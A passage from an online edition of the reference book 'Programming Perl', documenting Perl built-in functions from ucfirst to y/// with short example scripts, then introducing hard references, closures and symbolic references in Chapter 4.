Previous: 3.2.176 truncate | Programming Perl | Next: 3.2.178 ucfirst
3.2.176 truncate | Book Index | 3.2.178 ucfirst


[Chapter 3] 3.2.178 ucfirst

Programming PerlSearch this book

3.2.178 ucfirst

ucfirst EXPR

This function returns a version of EXPR (or $_ if EXPR is omitted) with the first character uppercased, that is, capitalized. This is the internal function implementing the \u escape in double-quoted strings. POSIX setlocale(3) settings are respected.

To force initial caps, and everything else lowercase, use:

ucfirst lc $word

which is equivalent to "\u\L$word".

Previous: 3.2.177 uc | Programming Perl | Next: 3.2.179 umask
3.2.177 uc | Book Index | 3.2.179 umask


[Chapter 3] 3.2.179 umask

Programming PerlSearch this book

3.2.179 umask

umask EXPR
umask

This function sets the umask for the process and returns the old one. (The umask tells UNIX which permission bits to disallow when creating a file.) If EXPR is omitted, the function merely returns the current umask. For example, to ensure that the "other" bits are turned on, and the "user" bits are turned off, try something like:

umask((umask() & 077) | 7);

Previous: 3.2.178 ucfirst | Programming Perl | Next: 3.2.180 undef
3.2.178 ucfirst | Book Index | 3.2.180 undef


[Chapter 3] 3.2.180 undef

Programming PerlSearch this book

3.2.180 undef

undef EXPR
undef

This function undefines the value of EXPR, which must be an lvalue. Use only on a scalar value, an entire array or hash, or a subroutine name (using the & prefix). Any storage associated with the object will be recovered for reuse (though not returned to the system, for most versions of UNIX). The undef function will probably not do what you expect on most special variables.

The function always returns the undefined value. This is useful because you can omit the EXPR, in which case nothing gets undefined, but you still get an undefined value that you could, for instance, return from a subroutine to indicate an error. Here are some uses of undef as a unary operator:

undef $foo;
undef $bar{'blurfl'};
undef @ary;
undef %assoc;
undef &mysub;

Without an argument, undef is just used for its value:

return (wantarray ? () : undef) if $they_blew_it;
select(undef, undef, undef, $naptime);

You may use undef as a placeholder on the left side of a list assignment, in which case the corresponding value from the right side is simply discarded. Apart from that, you may not use undef as an lvalue.

Previous: 3.2.179 umask | Programming Perl | Next: 3.2.181 unlink
3.2.179 umask | Book Index | 3.2.181 unlink


[Chapter 3] 3.2.181 unlink

Programming PerlSearch this book

3.2.181 unlink

unlink LIST

This function deletes a list of files.[11] If LIST is omitted, it unlinks the file given in $_. The function returns the number of files successfully deleted. Some sample commands:

[11] Actually, under UNIX, it removes the directory entries that refer to the real files. Since a file may be referenced (linked) from more than one directory, the file isn't actually removed until the last reference to it is removed.

$cnt = unlink 'a', 'b', 'c';
unlink @goners;
unlink <*.bak>;

Note that unlink will not delete directories unless you are superuser and the -U flag is supplied to Perl. Even if these conditions are met, be warned that unlinking a directory can inflict Serious Damage on your filesystem. Use rmdir instead.

Here's a very simple rm command with very simple error checking:

#!/usr/bin/perl
@cannot = grep {not unlink} @ARGV;
die "$0: could not unlink @cannot\n" if @cannot;

Previous: 3.2.180 undef | Programming Perl | Next: 3.2.182 unpack
3.2.180 undef | Book Index | 3.2.182 unpack


[Chapter 3] 3.2.182 unpack

Programming PerlSearch this book

3.2.182 unpack

unpack TEMPLATE, EXPR

This function does the reverse of pack: it takes a string (EXPR) representing a data structure and expands it out into a list value, returning the list value. (In a scalar context, it can be used to unpack a single value.) The TEMPLATE has much the same format as in the pack function - it specifies the order and type of the values to be unpacked. (See pack for a more detailed description of TEMPLATE.)

Here's a subroutine that does (some of) substr, only slower:

sub substr {
    my($what, $where, $howmuch) = @_;
    if ($where < 0) {
        $where = -$where;
        return unpack "\@* X$where a$howmuch", $what;
    }
    else {
        return unpack "x$where a$howmuch", $what;
    }
}

and then there's:

sub signed_ord { unpack "c", shift }

Here's a complete uudecode program:

#!/usr/bin/perl
$_ = <> until ($mode,$file) = /^begin\s*(\d*)\s*(\S*)/;
open(OUT,"> $file") if $file ne "";
while (<>) {
    last if /^end/;
    next if /[a-z]/;
    next unless int((((ord() - 32) & 077) + 2) / 3) ==
                int(length() / 4);
    print OUT unpack "u", $_;
}
chmod oct $mode, $file;

In addition, you may prefix a field with %number to indicate that you want it to return a number-bit checksum of the items instead of the items themselves. Default is a 16-bit checksum. For example, the following computes the same number as the System V sum program:

undef $/;
$checksum = unpack ("%32C*", <>) % 32767;

The following efficiently counts the number of set bits in a bit vector:

$setbits = unpack "%32b*", $selectmask;

Here's a simple MIME decoder:

while (<>) {
  tr#A-Za-z0-9+/##cd;                   # remove non-base64 chars
  tr#A-Za-z0-9+/# -_#;                  # convert to uuencoded format
  $len = pack("c", 32 + 0.75*length);   # compute length byte
  print unpack("u", $len . $_);         # uudecode and print
}

Previous: 3.2.181 unlink | Programming Perl | Next: 3.2.183 unshift
3.2.181 unlink | Book Index | 3.2.183 unshift


[Chapter 3] 3.2.183 unshift

Programming PerlSearch this book

3.2.183 unshift

unshift ARRAY, LIST

This function does the opposite of a shift. (Or the opposite of a push, depending on how you look at it.) It prepends LIST to the front of the array, and returns the new number of elements in the array:

unshift @ARGV, '-e', $cmd unless $ARGV[0] =~ /^-/;

Previous: 3.2.182 unpack | Programming Perl | Next: 3.2.184 untie
3.2.182 unpack | Book Index | 3.2.184 untie


[Chapter 3] 3.2.184 untie

Programming PerlSearch this book

3.2.184 untie

untie VARIABLE

Breaks the binding between a variable and a package. See tie.

Previous: 3.2.183 unshift | Programming Perl | Next: 3.2.185 use
3.2.183 unshift | Book Index | 3.2.185 use


[Chapter 3] 3.2.185 use

Programming PerlSearch this book

3.2.185 use

use Module LIST
use Module

The use declaration imports some semantics into the current package from the named module, generally by aliasing certain subroutine or variable names into your package. It is exactly equivalent to the following:

BEGIN { require Module; import Module LIST; }

The BEGIN forces the require and import to happen at compile time. The require makes sure the module is loaded into memory if it hasn't been yet. The import is not a built-in - it's just an ordinary static method call into the package named by Module to tell the module to import the list of features back into the current package. The module can implement its import method any way it likes, though most modules just choose to derive their import method via inheritance from the Exporter class that is defined in the Exporter module. See Chapter 5 for more information.

If you don't want your namespace altered, explicitly supply an empty list:

use Module ();

That is exactly equivalent to the following:

BEGIN { require Module; }

Because this is a wide-open interface, pragmas (compiler directives) are also implemented this way. Currently implemented pragmas include:

use integer;
use diagnostics;
use sigtrap qw(SEGV BUS);
use strict  qw(subs vars refs);

These pseudomodules typically import semantics into the current block scope, unlike ordinary modules, which import symbols into the current package. (The latter are effective through the end of the file.)

There's a corresponding declaration, no, that "unimports" any meanings originally imported by use, but that have since become, er, unimportant:

no integer;
no strict 'refs';

See Chapter 7 for a list of standard modules and pragmas.

Previous: 3.2.184 untie | Programming Perl | Next: 3.2.186 utime
3.2.184 untie | Book Index | 3.2.186 utime


[Chapter 3] 3.2.186 utime

Programming PerlSearch this book

3.2.186 utime

utime LIST

This function changes the access and modification times on each file of a list of files. The first two elements of the list must be the numerical access and modification times, in that order. The function returns the number of files successfully changed. The inode change time of each file is set to the current time. Here's an example of a touch command:

#!/usr/bin/perl
$now = time;
utime $now, $now, @ARGV;

and here's a more sophisticated touch command with a bit of error checking:

#!/usr/bin/perl
$now = time;
@cannot = grep {not utime $now, $now, $_} @ARGV;
die "$0: Could not touch @cannot.\n" if @cannot;

The standard touch command will actually create missing files, something like this:

$now = time;
foreach $file (@ARGV) {
    utime $now, $now, $file
        or open TMP, ">>$file"
        or warn "Couldn't touch $file: $!\n";
}

To read the times from existing files, use stat.

Previous: 3.2.185 use | Programming Perl | Next: 3.2.187 values
3.2.185 use | Book Index | 3.2.187 values


[Chapter 3] 3.2.187 values

Programming PerlSearch this book

3.2.187 values

values HASH

This function returns a list consisting of all the values of the named hash. The values are returned in an apparently random order, but it is the same order as either the keys or each function would produce on the same hash. To sort the hash by its values, see the example under keys. Note that using values on a hash that is bound to a humongous DBM file is bound to produce a humongous list, causing you to have a humongous process, leaving you in a bind. You might prefer to use the each function, which will iterate over the hash entries one by one without slurping them all into a single gargantuan (that is, humongous) list.

Previous: 3.2.186 utime | Programming Perl | Next: 3.2.188 vec
3.2.186 utime | Book Index | 3.2.188 vec


[Chapter 3] 3.2.188 vec

Programming PerlSearch this book

3.2.188 vec

vec EXPR, OFFSET, BITS

This function treats a string (the value of EXPR) as a vector of unsigned integers, and returns the value of the element specified by OFFSET and BITS. The function may also be assigned to, which causes the element to be modified. The purpose of the function is to provide very compact storage of lists of small integers. The integers may be very small - vectors can hold numbers that are as small as one bit, resulting in a bitstring.

The OFFSET specifies how many elements to skip over to find the one you want. BITS is the number of bits per element in the vector, so each element can contain an unsigned integer in the range 0..(2**BITS)-1. BITS must be one of 1, 2, 4, 8, 16, or 32. As many elements as possible are packed into each byte, and the ordering is such that vec($vectorstring,0,1) is guaranteed to go into the lowest bit of the first byte of the string. To find out the position of the byte in which an element is going to be put, you have to multiply the OFFSET by the number of elements per byte. When BITS is 1, there are eight elements per byte. When BITS is 2, there are four elements per byte. When BITS is 4, there are two elements (called nybbles) per byte. And so on.

Regardless of whether your machine is big-endian or little-endian, vec($foo, 0, 8) always refers to the first byte of string $foo. See select for examples of bitmaps generated with vec.

Vectors created with vec can also be manipulated with the logical operators |, &, ^, and ~, which will assume a bit vector operation is desired when the operands are strings.

A bit vector (BITS == 1) can be translated to or from a string of 1s and 0s by supplying a b* template to unpack or pack. Similarly, a vector of nybbles (BITS == 4) can be translated with an h* template.

Previous: 3.2.187 values | Programming Perl | Next: 3.2.189 wait
3.2.187 values | Book Index | 3.2.189 wait


[Chapter 3] 3.2.189 wait

Programming PerlSearch this book

3.2.189 wait

wait

This function waits for a child process to terminate and returns the pid of the deceased process, or -1 if there are no child processes. The status is returned in $?. If you get zombie child processes, you should be calling this function, or waitpid. A common strategy to avoid such zombies is:

$SIG{CHLD} = sub { wait };

If you expected a child and didn't find it, you probably had a call to system, a close on a pipe, or backticks between the fork and the wait. These constructs also do a wait(2) and may have harvested your child process. Use waitpid to avoid this problem.

Previous: 3.2.188 vec | Programming Perl | Next: 3.2.190 waitpid
3.2.188 vec | Book Index | 3.2.190 waitpid


[Chapter 3] 3.2.190 waitpid

Programming PerlSearch this book

3.2.190 waitpid

waitpid PID, FLAGS

This function waits for a particular child process to terminate and returns the pid when the process is dead, or -1 if there are no child processes, or 0 if the FLAGS specify non-blocking and the process isn't dead yet. The status of the dead process is returned in $?. To get valid flag values say this:

use POSIX "sys_wait_h";

On systems that implement neither the waitpid(2) nor wait4(2) system call, FLAGS may be specified only as 0. In other words, you can wait for a specific PID, but you can't do it in non-blocking mode.

Previous: 3.2.189 wait | Programming Perl | Next: 3.2.191 wantarray
3.2.189 wait | Book Index | 3.2.191 wantarray


[Chapter 3] 3.2.191 wantarray

Programming PerlSearch this book

3.2.191 wantarray

wantarray

This function returns true if the context of the currently executing subroutine is looking for a list value. The function returns false if the context is looking for a scalar. Here's a typical usage, demonstrating an "unsuccessful" return:

return wantarray ? () : undef;

See also caller. This function should really have been named "wantlist", but we named it back when list contexts were still called array contexts.

Previous: 3.2.190 waitpid | Programming Perl | Next: 3.2.192 warn
3.2.190 waitpid | Book Index | 3.2.192 warn


[Chapter 3] 3.2.192 warn

Programming PerlSearch this book

3.2.192 warn

warn LIST

This function produces a message on STDERR just like die, but doesn't try to exit or throw an exception. For example:

warn "Debug enabled" if $debug;

If the message supplied is null, the message "Something's wrong" is used. As with die, a message not ending with a newline will have file and line number information automatically appended. The warn operator is unrelated to the -w switch.

Previous: 3.2.191 wantarray | Programming Perl | Next: 3.2.193 write
3.2.191 wantarray | Book Index | 3.2.193 write


[Chapter 3] 3.2.193 write

Programming PerlSearch this book

3.2.193 write

write FILEHANDLE
write

This function writes a formatted record (possibly multi-line) to the specified filehandle, using the format associated with that filehandle - see the section "Formats" in Chapter 2. By default the format for a filehandle is the one having the same name as the filehandle. However, the format for a filehandle may be changed by saying:

use FileHandle;
HANDLE->format_name("NEWNAME");

Top-of-form processing is handled automatically: if there is insufficient room on the current page for the formatted record, the page is advanced by writing a form feed, a special top-of-page format is used to format the new page header, and then the record is written. The number of lines remaining on the current page is in variable $-, which can be set to 0 to force a new page on the next write. (You may need to select the filehandle first.) By default the name of the top-of-page format is the name of the filehandle with "_TOP" appended, but the format for a filehandle may be changed by saying:

use FileHandle;
HANDLE->format_top_name("NEWNAME_TOP");

If FILEHANDLE is unspecified, output goes to the current default output filehandle, which starts out as STDOUT but may be changed by the select operator. If the FILEHANDLE is an expression, then the expression is evaluated to determine the actual FILEHANDLE at run-time.

Note that write is not the opposite of read. Use print for simple string output. If you looked up this entry because you wanted to bypass standard I/O, see syswrite.

Previous: 3.2.192 warn | Programming Perl | Next: 3.2.194 y///
3.2.192 warn | Book Index | 3.2.194 y///


[Chapter 3] 3.2.194 y///

Programming PerlSearch this book

3.2.194 y///

y///

The translation operator, also known as tr///. See Chapter 2.

Previous: 3.2.193 write | Programming Perl | Next: 4. References and Nested Data Structures
3.2.193 write | Book Index | 4. References and Nested Data Structures


[Chapter 4] References and Nested Data Structures

Programming PerlSearch this book
Previous: 3.2 Perl Functions in Alphabetical Order Chapter 4 Next: 4.2 Creating Hard References

4. References and Nested Data Structures

Contents:
What Is a Reference?
Creating Hard References
Using Hard References
Symbolic References
Braces, Brackets, and Quoting
A Brief Tutorial: Manipulating Lists of Lists
Data Structure Code Examples

For both practical and philosophical reasons, Perl has always been biased in favor of flat, linear data structures. And for many problems, this is exactly what you want. But occasionally you need to set up something just a little more complicated and hierarchical. Under older versions of Perl you could construct complex data structures indirectly by using eval or typeglobs.

Suppose you wanted to build a simple table (two-dimensional array) showing vital statistics - say, age, eye color, and weight - for a group of people. You could do this by first creating an array for each individual:

@john = (47, "brown", 186);
@mary = (23, "hazel", 128);
@bill = (35, "blue", 157);

and then constructing a single, additional array consisting of the names of the other arrays:

@vitals = ('john', 'mary', 'bill');

Unfortunately, actually using this table as a two-dimensional data structure is cumbersome. To change John's eyes to "red" after a night on the town, you'd have to say something like:

$vitals = $vitals[0];
eval "\$${vitals}[1] = 'red'";

A much more efficient (but not more readable) way to do the same thing is to use a typeglob assignment to temporarily alias one symbol table entry to another:

local(*array) = $vitals[0];  # Alias *array to *john.
$array[1] = 'red';           # Actually sets $john[1].

Alternatively, you could avoid the symbol table altogether by doing everything with a set of parallel hash arrays, emulating pointers symbolically by doing key lookups in the appropriate hash. Finally, you could define all your structures operationally, using pack and unpack, or join and split.

So even though you could use a variety of techniques to emulate pointers and data structures, all of them could get to be unwieldy. To be sure, Perl still supports these older mechanisms, since they remain quite useful for simple problems. But now Perl also supports references.

4.1 What Is a Reference?

In the preceding example using eval, $vitals[0] had the value 'john'. That is, it happened to contain a string that was also the name for another variable. You could say that the first variable referred to the second. We will speak of this sort of reference as a symbolic reference. You can think of it as analogous to symbolic links in UNIX filesystems. Perl now provides some simplified mechanisms for using symbolic references; in particular, the need for an eval or a typeglob assignment in our example disappears. See "Symbolic References" later in this chapter.

The other kind of reference is the hard reference.[1] A hard reference refers not to the name of another variable (which is just a container for a value) but rather to an actual value, some internal glob of data, which we will call a "thingy", in honor of that thingy that hangs down in the back of your throat. (You may also call it a "referent", if you prefer to live a joyless existence.) Suppose, for example, that you create a hard reference to the thingy contained in the variable @array. This hard reference and the thingy it refers to will continue to exist even after @array goes out of scope. Only when the reference count of the thingy itself goes to zero is the thingy actually destroyed.

[1] If you like, you can think of hard references as real references, and symbolic references as fake references. It's like the difference between real friendship and mere name-dropping.

To put it another way, a Perl variable lives in a symbol table and holds one hard reference to its underlying thingy (which may be a simple thingy like a number, or a complex thingy like an array or hash, but there's still only one reference from the variable to the value). There may be other hard references to the same thingy, but if so, the variable doesn't know (or care) about them. A symbolic reference names another variable, so there's always a named location involved, but a hard reference just points to a thingy. It doesn't know (or care) whether there are any other references to the thingy, or whether any of those references are through variables. Hence, a hard reference can refer to an anonymous thingy. All such anonymous thingies are accessed through hard references. But the converse is not necessarily true - just because something has a hard reference to it doesn't necessarily mean it's anonymous. It might have another reference through a named variable. (It can even have more than one name, if it is aliased with typeglobs.)

To reference a variable, in the terminology of this chapter, is to create a hard reference to the thingy underlying the variable. (There's a special operator to do this creative act.) The hard reference so created is simply a scalar value, which behaves in all familiar contexts just like any other scalar value should. To dereference this scalar value is to use it to refer back to the original thingy, as you must do when reading or writing to the thingy. Both referencing and dereferencing occur only when you invoke certain explicit mechanisms; no implicit referencing or dereferencing occurs in Perl.[2][3]

[2] Actually, a function with a prototype can use implicit pass-by-reference if explicitly declared that way. If so, then the caller of the function doesn't need to know he's passing a reference, but you still have to dereference it explicitly within the function. See Chapter 2, The Gory Details.

[3] Actually, to be perfectly honest, there's also some mystical automatic dereferencing when you use certain kinds of filehandles, but that's for backward compatibility, and is transparent to the casual user.

Any scalar may hold a hard reference, and such a reference may point to any data structure. Since arrays and hashes contain scalars, you can build arrays of arrays, arrays of hashes, hashes of arrays, arrays of hashes and functions, and so on.

Keep in mind, though, that Perl arrays and hashes are internally one-dimensional. They can only hold scalar values (strings, numbers, and references). When we use a phrase like "array of arrays", we really mean "array of references to arrays". But since that's the only way to implement an array of arrays in Perl, it follows that the shorter, less accurate phrase is not so inaccurate as to be false, and therefore should not be totally despised, unless you're into that sort of thing.

Previous: 3.2 Perl Functions in Alphabetical Order | Programming Perl | Next: 4.2 Creating Hard References
3.2 Perl Functions in Alphabetical Order | Book Index | 4.2 Creating Hard References


[Chapter 4] 4.2 Creating Hard References

Programming PerlSearch this book

4.2 Creating Hard References

There are several ways to compose references, most of which we will describe before explaining how to use (dereference) the resulting references.

4.2.1 The Backslash Operator

You can create a reference to any named variable or subroutine by using the unary backslash operator. (You may also use it on an anonymous scalar value.) This works much like the & (address-of) operator in C.

Here are some examples:

$scalarref = \$foo;
$constref  = \186_282.42;
$arrayref  = \@ARGV;
$hashref   = \%ENV;
$code_ref   = \&handler;
$globref   = \*STDOUT;

4.2.2 The Anonymous Array Composer

You can create a reference to an anonymous array by using brackets:

$arrayref = [1, 2, ['a', 'b', 'c']];

Here we've composed a reference to an anonymous array of three elements whose final element is a reference to another anonymous array of three elements.

These square brackets work like this only where the Perl parser is expecting a term in an expression, and should not be confused with the brackets that are functioning as operators when used to subscript an array (though there is an obvious mnemonic association with arrays). Square brackets inside a quoted string do not result in the interpolation of a reference to an anonymous array. Rather, such brackets become literal elements in the string. (However, if you're interpolating something into the string, and the expression defining the interpolation contains brackets, they have their normal meaning within the expression, since they are, after all, in an expression.)

Note that taking a reference to an enumerated list is not the same as using brackets - instead it's treated as a shorthand for creating a list of references:

@list = (\$a, \$b, \$c);
@list = \($a, $b, $c);      # same thing!

4.2.3 The Anonymous Hash Composer

You can create a reference to an anonymous hash by using braces:

$hashref = {
    'Adam'  => 'Eve',
    'Clyde' => 'Bonnie',
};

The values above are literal strings; variables and expressions would work as well. Also, for the values (but not the keys) of the hash, you can freely mix anonymous hash and array composers to produce as complicated a structure as you want.

These braces work like this only where the Perl parser is expecting a term in an expression, and should not be confused with the braces that are functioning as operators when used to subscript a hash (though there is an obvious mnemonic association with hashes). Braces inside a quoted string do not result in the interpolation of a reference to an anonymous hash. Rather, such braces become literal elements in the string. (However, the same caveat about interpolating expressions applies to braces as it does to brackets.)

Since braces are also used for several other things including BLOCKs, you may occasionally have to disambiguate braces at the beginning of a statement by putting a + or a return in front so that Perl realizes the opening brace isn't starting a BLOCK. For example, if you wanted a function to make a new hash and return a reference to it, you have these options:

sub hashem {        { @_ } }   # silently WRONG
sub hashem {       +{ @_ } }   # ok
sub hashem { return { @_ } }   # ok

4.2.4 The Anonymous Subroutine Composer

You can create a reference to an anonymous subroutine by using sub without a subroutine name:

$coderef = sub { print "Boink!\n" };

Note the presence of the semicolon, which is required here to terminate the expression. (It wouldn't be required after the declaration of a named subroutine.) A nameless sub {} is not so much a declaration as it is an operator - like do {} or eval {} - except that the code inside isn't executed immediately. Instead, it just generates a reference to the code and returns that. However, no matter how many times you execute the line shown above, $coderef will still refer to the same anonymous subroutine.[4]

[4] But see later about closures. Even though there's only one anonymous subroutine, there may be several copies of the lexical variables in use by the subroutine, depending on when the subroutine reference was generated.

4.2.5 Object Constructors

Subroutines can also return references. That may sound trite, but sometimes you are supposed to use a subroutine to create a reference rather than creating the reference yourself. In particular, special subroutines called constructors return references to objects. An object is simply a special kind of thingy that happens to know which class it's associated with. Constructors know how to create that association. They do so by taking an ordinary thingy and turning it into an object (which remains a thingy even while it's also being an object). The operator that a constructor uses to do this is called bless, so we can speak of an object as a blessed thingy. Constructors are customarily named new(), but don't have to be. They're usually called in one of two ways:

$objref = new Doggie Tail => 'short', Ears => 'long';
   # same as
$objref = Doggie->new(Tail => 'short', Ears => 'long');

See Chapter 5, Packages, Modules, and Object Classes, for a discussion of Perl objects.

4.2.6 Filehandle Referencers

References to filehandles can be created by taking a reference to a typeglob. This is currently the best way to pass named filehandles into or out of subroutines, or to store them in larger data structures.

splutter(\*STDOUT);
sub splutter {
    my $fh = shift;
    print $fh "her um well a hmmm\n";
}

$rec = get_rec(\*STDIN);
sub get_rec {
    my $fh = shift;
    return scalar <$fh>;
}

However, if you don't need to refer to existing named filehandles, you should consider using one of the newer, object-oriented library modules that provide filehandle objects via a constructor (see the previous section). In either case, you won't use filehandle names directly, but rather you'll use scalars (as above) to hold a reference to something that will (one way or another) be interpreted as a filehandle. As we admitted earlier, there is some implicit dereferencing magic going on here.

4.2.7 Implicit Creation of References

A final method for creating references is not really a method at all. References of an appropriate type simply spring into existence if you dereference them in a context that assumes they exist. This is extremely useful, and is also What You Expect. This topic is covered in the next section.

Previous: 4.1 What Is a Reference? | Programming Perl | Next: 4.3 Using Hard References
4.1 What Is a Reference? | Book Index | 4.3 Using Hard References


[Chapter 4] 4.3 Using Hard References

Programming PerlSearch this book

4.3 Using Hard References

Just as there are numerous ways to create references, there are also several ways to use, or dereference, a reference.

4.3.1 Using a Variable as a Variable Name

Anywhere you might ordinarily put an alphanumeric identifier as part of a variable or subroutine name, you can just replace the identifier with a simple scalar variable containing a reference of the correct type. For example:

$foo         = "two humps";
$scalarref   = \$foo;
$camel_model = $$scalarref;  # $camel_model is now "two humps"

Here are various dereferences:

$bar = $$scalarref;
push(@$arrayref, $filename);
$$arrayref[0] = "January";
$$hashref{"KEY"} = "VALUE";
&$coderef(1,2,3);
print $globref "output\n";

It's important to understand that we are specifically not dereferencing $arrayref[0] or $hashref{"KEY"} there. The dereferencing of the scalar variable happens before any array or hash lookups. To dereference anything more complicated than a simple scalar variable, you must use one of the next two methods described below. However, "simple scalars" can include an identifier that itself uses this first method recursively. Therefore, the following prints "howdy":

$refrefref = \\\"howdy";
print $$$$refrefref;

You can think of the dollar signs as executing right to left.

4.3.2 Using a BLOCK as a Variable Name

The second way is just like the first, except using a BLOCK instead of a variable. Anywhere you'd put an alphanumeric identifier as part of a variable or subroutine name, you can replace the identifier with a BLOCK returning a reference of the correct type. In other words, the previous examples could also be handled like this:

$bar = ${$scalarref};
push(@{$arrayref}, $filename);
${$arrayref}[0] = "January";
${$hashref}{"KEY"} = "VALUE";
&{$coderef}(1,2,3);

Admittedly, it's silly to use the braces in these simple cases, but the BLOCK can contain any arbitrary expression. In particular, it can contain subscripted expressions. In the following example, $dispatch{$index} is assumed to contain a reference to a subroutine. The example invokes the subroutine with three arguments.

&{ $dispatch{$index} }(1, 2, 3);

4.3.3 Using the Arrow Operator

For references to arrays or hashes, a third method of dereferencing the reference involves the use of the -> infix operator. This is a form of syntactic sugar that makes it easier to get at individual array or hash elements, especially when the reference expression is complicated. Each of these trios is equivalent, corresponding to the three notations we've introduced. (We've inserted some spaces to line up equivalent elements.)

$  $arrayref  [0] = "January";        #1
${ $arrayref }[0] = "January";        #2
   $arrayref->[0] = "January";        #3

$  $hashref  {KEY} = "F#major";       #1
${ $hashref }{KEY} = "F#major";       #2
   $hashref->{KEY} = "F#major";       #3

You can see from this example that the first $ is missing from the third notation. It is, however, implied, and since it is implied, the notation can only be used to reference scalar values, not slices. But just as with the second notation, you can use any expression to the left of the ->, including another dereference, because arrow operators associate left to right:

print $array[3]->{"English"}->[0];

Note that $array[3] and $array->[3] are not the same. The first is talking about the fourth element of @array, while the second one is talking about the fourth element of the (possibly anonymous) array whose reference is contained in $array.

Suppose now that $array[3] is undefined. The following statement is still legal:

$array[3]->{"English"}->[0] = "January";

This is one of those cases mentioned earlier in which references spring into existence when used in an lvalue context. Supposing $array[3] to have been undefined, it's automatically defined with a hash reference so that we can look up {"English"} in it. Once that's done, $array[3]->{"English"} will automatically get defined with an array reference so that we can look up [0] in it. But this only happens when you're trying to create an element. Nothing would spring into existence if you were just trying to print out the value. You'd just get the undefined value out of it.

One more shortcut here. The arrow is optional between brace- or bracket-enclosed subscripts, so you can shrink the above code down to:

$array[3]{"English"}[0] = "January";

Which, in the case of ordinary arrays, gives you multi-dimensional arrays just like C's arrays:

$answer[$x][$y][$z] += 42;

Well, okay, not entirely like C's arrays. For one thing, C doesn't know how to grow its arrays on demand, while Perl does. Also, there are similar constructs in the two languages that parse differently. In Perl, the following two statements do the same thing:

$listref->[2][2] = "hello";    # pretty clear
$$listref[2][2] = "hello";     # a bit confusing

This second of these statements may disconcert the C programmer, who is accustomed to using *a[i] to mean "what's pointed to by the ith element of a". But in Perl, the five prefix dereferencers ($ @ * % &) effectively bind more tightly than the subscripting braces or brackets.[5] Therefore, it is $$listref and not $listref[$i] that is taken to be a reference to an array. If you want the C notion, you either have to write ${$listref[$i]} to force the $listref[$i] to get evaluated before the leading $ dereferencer, or you have to use the -> notation:

[5] But not because of operator precedence. The funny characters in Perl are not operators in that sense. The grammar simply prohibits anything more complicated than a simple variable or block from following the initial funny character, for various funny reasons.

$listref[$i]->[$j] = "hello";

4.3.4 Using Object Methods

If a reference happens to be a reference to an object (a blessed thingy, that is), then there are probably methods to access the innards of the object, and you should probably stick to those methods unless you're writing the class package that defines the object's methods. (Such a package is allowed to treat the object as a mere thingy when it wants to.) In other words, be nice, and don't violate the object's encapsulation without a very good reason. Perl does not enforce encapsulation. We are not totalitarians here. We do expect some basic civility, however.

4.3.5 Other Tricks You Can Do with Hard References

You can use the ref operator to determine what type of thingy a reference is pointing to. Think of ref as a "typeof" operator that returns true if its argument is a reference and false otherwise. The value returned depends on the type of thing referenced. Built-in types include:

REF
SCALAR
ARRAY
HASH
CODE
GLOB

If you simply use a hard reference in a string context, it'll be converted to a string containing both the type and the address: SCALAR(0x1fc0e). (The reverse conversion cannot be done, since reference count information has been lost.)

You can use the bless operator to associate a referenced thingy with a package functioning as an object class. When you do this, ref will return that package name instead of the internal type. An object reference used in a string context returns a string with both the external and internal types, along with the address: MyType=HASH(0x20d10). See Chapter 5 for more details about objects.

Since the dereference syntax always indicates the kind of reference desired, a typeglob can be used the same way a reference can, despite the fact that a typeglob contains multiple thingies of various types. So ${*foo} and ${\$foo} both refer to the same scalar variable. The latter is more efficient though.

Here's a trick for interpolating the value of a subroutine call into a string:

print "My sub returned @{[ mysub(1,2,3) ]} that time.\n";

It works like this. At compile time, when the @{...} is seen within the double-quoted string, it's parsed as a block that will return a reference. Within the block, there are square brackets that will create a reference to an anonymous array from whatever is in the brackets. So at run-time, mysub(1,2,3) is called, and the results are loaded into an anonymous array, a reference to which is then returned within the block. That array reference is then immediately dereferenced by the surrounding @{...}, and the array value is interpolated into the double-quoted string just as an ordinary array would be. This chicanery is also useful for arbitrary expressions, such as:

print "That yields @{[ $n + 5 ]} widgets\n";

Be careful though. The inside of the square brackets is supplying a list context to its expression. In this case it doesn't matter, although it's possible that the above call to mysub() might care. When it does matter, a similar trick can be done with a scalar reference. It just isn't quite as pretty:

print "That yields ${ \($n + 5) } widgets.";

4.3.6 Closures

Earlier we talked about creating anonymous subroutines with a nameless sub {}. Since anonymous subroutines have to be generated someplace within your code (in order to generate the reference that you poke into some variable), such routines can be thought of as coming into existence at run-time. (That is, they have a time of generation as well as a location of definition.) Because of this fact, anonymous subroutines can act as closures with respect to my variables - that is, with respect to variables visible lexically within the current scope. Closure is a notion out of the Lisp world that says if you define an anonymous function in a particular lexical context at a particular moment, it pretends to run in that context even when it's called outside of the context. In other words, you are guaranteed to get the same copy of a lexical variable, even though many other instances of the same lexical variable may have been created before or since. This gives you a way to pass arguments to a subroutine when you define it as well as when you call it. It's useful for setting up little bits of code to run later, such as callbacks.

You can also think of closures as a way to write a subroutine template without using eval. The lexical variables are like parameters to fill in the template.

Here's a small example of how closures work:

sub newprint {
    my $x = shift;
    return sub { my $y = shift; print "$x, $y!\n"; };
}
$h = newprint("Howdy");
$g = newprint("Greetings");

# Time passes...

&$h("world");
&$g("earthlings");

This prints:

Howdy, world!
Greetings, earthlings!

Note in particular how $x continues to refer to the value passed into newprint() despite the fact that the my $x has seemingly gone out of scope by the time the anonymous subroutine runs. That's what closures are all about.

This method only applies to my variables. Global variables work as they always worked (since they're neither created nor destroyed the way lexical variables are). By and large, closures are not something you need to trouble yourself about. When you do need them, they just sorta do what you expect.[6]

[6] Always presuming you expect the right thing, of course.

Perl doesn't provide member pointers like C++ does, but you can get a similar effect using a closure. Suppose you want a pointer to a method for a particular object. You can remember both the object and the method as lexical variables bound to a closure:

sub get_method_ref {
    my ($self, $method) = @_;
    return sub { return $self->$method(@_) };
}
$dog_wag = get_method_ref($dog, 'wag');
&$dog_wag("tail");  # Calls $dog->wag('tail').

Previous: 4.2 Creating Hard References | Programming Perl | Next: 4.4 Symbolic References
4.2 Creating Hard References | Book Index | 4.4 Symbolic References


[Chapter 4] 4.4 Symbolic References

Programming PerlSearch this book

4.4 Symbolic References

What happens if you try to dereference a value that is not a hard reference? The value is then treated as a symbolic reference. That is, the reference (which still has a scalar value) is interpreted as a string. That string is taken to be the name of a variable, rather than a direct link to a (possibly anonymous) thingy.

Here is how it works:

$name = "bam";
$$name = 1;                # Sets $bam
${$name} = 2;              # Sets $bam
${$name x 2} = 3;          # Sets $bambam
$name->[0] = 4;            # Sets $bam[0]
@$name = ();               # Clears @bam
&$name();                  # Calls &bam() (as in prior versions of Perl)
$pkg = "THAT";             #  (Don't use "package" or "pack"!)
